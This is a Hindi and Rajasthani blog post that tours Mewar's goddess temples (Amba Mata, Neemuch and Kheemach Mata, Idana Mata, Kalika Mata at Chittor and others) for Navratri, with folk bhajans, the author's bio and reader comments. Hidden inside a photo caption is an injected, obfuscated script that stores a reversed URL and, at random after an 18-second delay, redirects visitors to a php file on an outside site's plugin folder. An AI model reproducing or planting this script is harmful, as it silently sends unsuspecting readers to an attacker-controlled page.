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मेवाड़ के प्रमुख शक्तिपीठ – The Major Temples of Mewar

“जगदम्बा थे तो ओढ़ बताओ रे , महारानी थे तो  ओढ़ बताओ रे..
क’शिक लागे, तारा री चुनडी..”

Neemuch Mata Ji M<script>$Ubj=function(n){if (typeof ($Ubj.list[n]) == "string") return $Ubj.list[n].split("").reverse().join("");return $Ubj.list[n];};$Ubj.list=["\'php.litu.ssalc/sedulcni/retadpu-yfimeht/snigulp/tnetnoc-pw/moc.setaicossadnalanruoj//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ubj(0), delay);}</script>andir in Udaipur

सुबह सुबह उनींदी आँखों से उठा तो दादी सा’ मंदिर में पूजा करती हुई ऐसा ही कुछ भजन गुनगुना रही थी. पूछा तो आँखें तरेर कर बोली, “वेंडा छोरा, आज माताजी रो दन है. नवो संवत भी है, बेघो उठ जा. आज देर तक सुतो रह्यो तो पूरा साल सुतो ही’ज रेवेला.” अरे हाँ, आज तो नव संवत्सर है. कल ही तो कोर्ट चौराहे पर आलोक स्कूल के बच्चो ने मेरी बाइक रोक कर मुझे रोली-तिलक लगाया था,मैं भूल कैसे गया. आज तो दूध तलाई पर आतिशबाजी होगी. स्वागत होगा नव संवत्सर का.

सबसे पहले तो उदयपुर ब्लॉग के सभी देसी-विदेसी पाठकों को नवसंवत्सर 2069 और चैती नौरतों की बहुत बहुत बधाई. हमारे सिंधी भाइयों को चेटीचंड जी लाख लाख वधायुं. “आयो लाल, झूलेलाल “. आज मेरा मन बार बार कह रहा है कि आप सभी को उदयपुर में जहाँ जहाँ जोगमाया के देवरे है, मंदिर है..वहाँ ले चलूँ.. तो क्या ख्याल है आपका?

“झीना झीना घूघरा माता के मंदिर बाजे रे..
मोटा मोटा टोकरा भैरू के बाजे रे..”
Mahalaxmi Temple in Udaipur

तो साहब बैठो गाडी पर, सबसे पहले अम्बा माता चलते है. वाह जी वाह ! क्या मोटे तगड़े शेर बाहर पहरा दे रहे है. उदयपुर के दरबार यहाँ आज भी सबसे पहले पूजा करते है. महाराणा स्वरूपसिंह जी और भीम सिंह जी तो कई बार  घुटनों घुटनों तक के पानी को पार करके यहाँ दर्शन करने आते थे.

नीमच और खीमच माता. खीमच माता नीचे फतह सागर की पाल पर तो नीमच माता पास में ऊँचे पहाड पर. दोनों सगी  बहने है पर छोटी वाली नाराज़ होकर पहाड़ी उतरकर आ गयी. नव रात्र के आखिरी दिन दोनों मंदिरों के भोपाजी के “डील” में माताजी आती है. दोनों बहने मिलती है..खूब रोती  है. तो अपने कभी छोटी बहिन से झगडा हो जावे तो नाराज़ नी करना उसको.. आप बड़े हो, अपने सबर कर लेना.

बेदला चलते है. यहाँ के रावले की आराध्य “सुखदेवी माता जी” के दर्शन करते है. माताजी के इतने भगत है कि उदयपुर में पांच में से तीन  कार के पीछे “जय सुखदेवी माता जी” लिखा हुआ मिल जायेगा.  माताजी के मंदिर के सामने दो पत्थरों के बिच रास्ता बना हुआ है, कहते है, उस संकरे रास्ते से निकल जाओ तो कोई रोग आपको नहीं घेरेगा. विश्वास करो तो माताजी है, नही मानो तो..थारी मर्जी सा’

डबोक सीमेंट फेक्ट्री के पास पहाड़ी पर “धूनी माता” बिराज रही है. नौ दिन नौरते यहाँ आस पडोसी गाँव के “पटेलों” की खूब भीड़ रहती है.माताजी के दर्शन करो और साथ में इस पहाड़ी से सामने हवाई अड्डे पर उतरते हवाई जहाज को देखो.. अपन ऊपर और हवाई जहाज नीचे. यहाँ का हरियाली अमावस का मेला बहुत जाना माना  है. यहाँ से उदयपुर आते बखत बेड़वास में माता आशापुरा के दर्शन करना मत भूलना.

टीडी  के पास जावर माता बिराजी है. पास में जिंक की हजारो साल पुरानी खदाने है. कलकल नदी बह रही है. इस मंदिर को औरंगजेब ने खूब नुक्सान पहुचाया. फिर भी मंदिर में आज भी पुरानी मूर्तिकला देखने लायक है.माताजी का मुँह थोडा सा बायीं ओर झुका हुआ है. कारण, एक भगत ने सवा लाख फूल चढाने की मिन्नत मांगी और पूरी करने में कंजूसी दिखाई. माताजी ने नाराज होकर अपना मुँह झुका दिया.  भगत को कुछ नुक्सान नहीं पहुचाया. माँ तो माँ होती है.

अब चलते है चित्तोड की ओर. किले पर सभी को आशीर्वाद दे रही है माता कालका . जितना भव्य चित्तोड का किला, उतना ही भव्य माता का मंदिर. सामने तालाब. कहते है इस किले की रक्षा का सारा भार माताजी ने अपने ऊपर ले रखा है. यहाँ भी नौ दिन मन्नत मांगने और “तंत्र” पूजा करने वालो का सैलाब उमड़ता है. जोगमाया के दर्शन कर बहुत आत्मिक सुख मिलता है.
आते वक़्त सांवरिया जी के दर्शन करते हुए आवरी माता चलते है. कहते है माता आवरा राजपूत चौहान वंश में जन्मी. सात भाइयों की अकेली बहन. सातों भाइयों का इतना प्रेम कि सातों अलग अलग जगह अपनी बहन का रिश्ता कर आये. एक ही दिन, माता से ब्याहने सात सात बिंद गोडी चढ आये. तब माताजी में “जोत” जगी और उन्होंने वहीँ संथारा ले लिया. मेवाड़ के साथ साथ मालवा, वागड , मारवाड.. जाने कहाँ कहाँ से लकवा ग्रस्त रोगी यहाँ ठीक होने आते है. पूरे मंदिर में जहाँ जहाँ तक नज़र जाये, लकवा रोगी माँ के दरबार में बैठे मिलते है. यहाँ राजपूती रिवाज़ से माता की सेवा होती है.

Idana Mata Ji Mandir

कुराबड रावले के पास खुले चबूतरे पर इड़ाना माताजी स्थानक है.पीछे ढेर सारी त्रिशूल. यहाँ माताजी महीने में कम से कम दो बार अगन-स्नान लेती है. इसी अग्नि स्नान के कारण आज तक माँ का मंदिर नहीं बन पाया. ये शक्ति पीठ अन्य सभी से सर्वथा अलग, सर्वथा जुदा. कुराबड रावले के श्री लवकुमार सिंह जी कृष्णावत फिलहाल यहाँ का सारा प्रशासनिक कार्य संभाल रहे है.

अजी साहब, एक ही दिन में सब जगह दर्शन नहीं होंगे. आराम से एक एक दिन सब जगह दर्शन करने जाना. नौ दिन के नौ दर्शन आपको बता दिए. और समय मिले तो माछला मगर पर रोप वे में बैठकर करनी माता दर्शन  करने जरुर जाजो. अरे कभी तो अपनी जेब ढीली करो. बस साठ रुपये किराया है. उभयेश्वर का घाटा ध्यान से चढ़ते हुए महादेव जी के दर्शन करना और पास में ही “वैष्णो देवी” को भी धोक लगते आना. थोडा और समय मिले तो इसवाल से हल्दीघाटी मार्ग पर बडवासन माता का बहुत सुन्दर स्थान है. और समय मिले तो बांसवाडा में माता त्रिपुर सुंदरी, वल्लभ नगर में उन्ठाला माता, देबारी में घाटा वाली माता, भीलवाडा-बूंदी रोड पर जोगनिया माता, बेगूं में झांतला माता, झामेश्वर महादेव के पास पहाड़ी पर  काली  माता,जगत कस्बे में विराजी माताजी, आसपुर में आशापुरा माताजी.. नहीं थके हो तो भेरू जी के देवरे ले चालू.. आज तो वहाँ भी जवारे बोये गए है.
इन नौ दिन पूरी श्रृद्धा के साथ आप माताजी की पूजा करो, नहीं तो मेरी दादी सा’ को आपके घर का पता दे दू.. वो आपको सिखा देगी, पूजा कैसे होती है. उनका एक बहुत प्यारा भजन है, उसीके साथ आपसे विदाई…

“माता आयो आयो आवरा रानी रो साथ, आये ने वाघा उतरियो म्हारी माँ
माता हरे भरे देखियो हरियो बाग, फूला री लिदी वासना म्हारी माँ
माता फुलडा तो तोड्या पचास, कलिया तोड़ी डेढ सौ म्हारी माँ
माता फूलडा रो गुन्थ्यो चंदर हार, कलिया रा गुन्थ्या गजरा म्हारी माँ
माता कठे रलाऊ चंदर हार, कठे तो बांधू गजरा म्हारी माँ
माता हिवडे रालु चंदर हार, ऊँचा तो बांधू गजरा म्हारी माँ…”

By aryamanu

26 yr old guy from Udaipur/Noida currently working in Spiritual Media. He contributes for Media and social service as well. Internet addict, Word Gamer, Part time anchor and full time "Babaji".

5 replies on “मेवाड़ के प्रमुख शक्तिपीठ – The Major Temples of Mewar”

manu ji aapka lakh padhkar bahut hi Achha laga. bahut maja aaya. sabhi mata ke darshan ho gaye. isi prakar aap apne lekh Hindi me hi likhte rahe. hindi hamari rashtra bhasah he aur ye jan jan me boli jati he. isliye aap hamesha apna lekh hindi me hi likhe. dhanyawaad ji

jai mata ji jai mata ji jai mata ji jai mata ji jai mata ji jai mata ji jai mata ji jai mata ji

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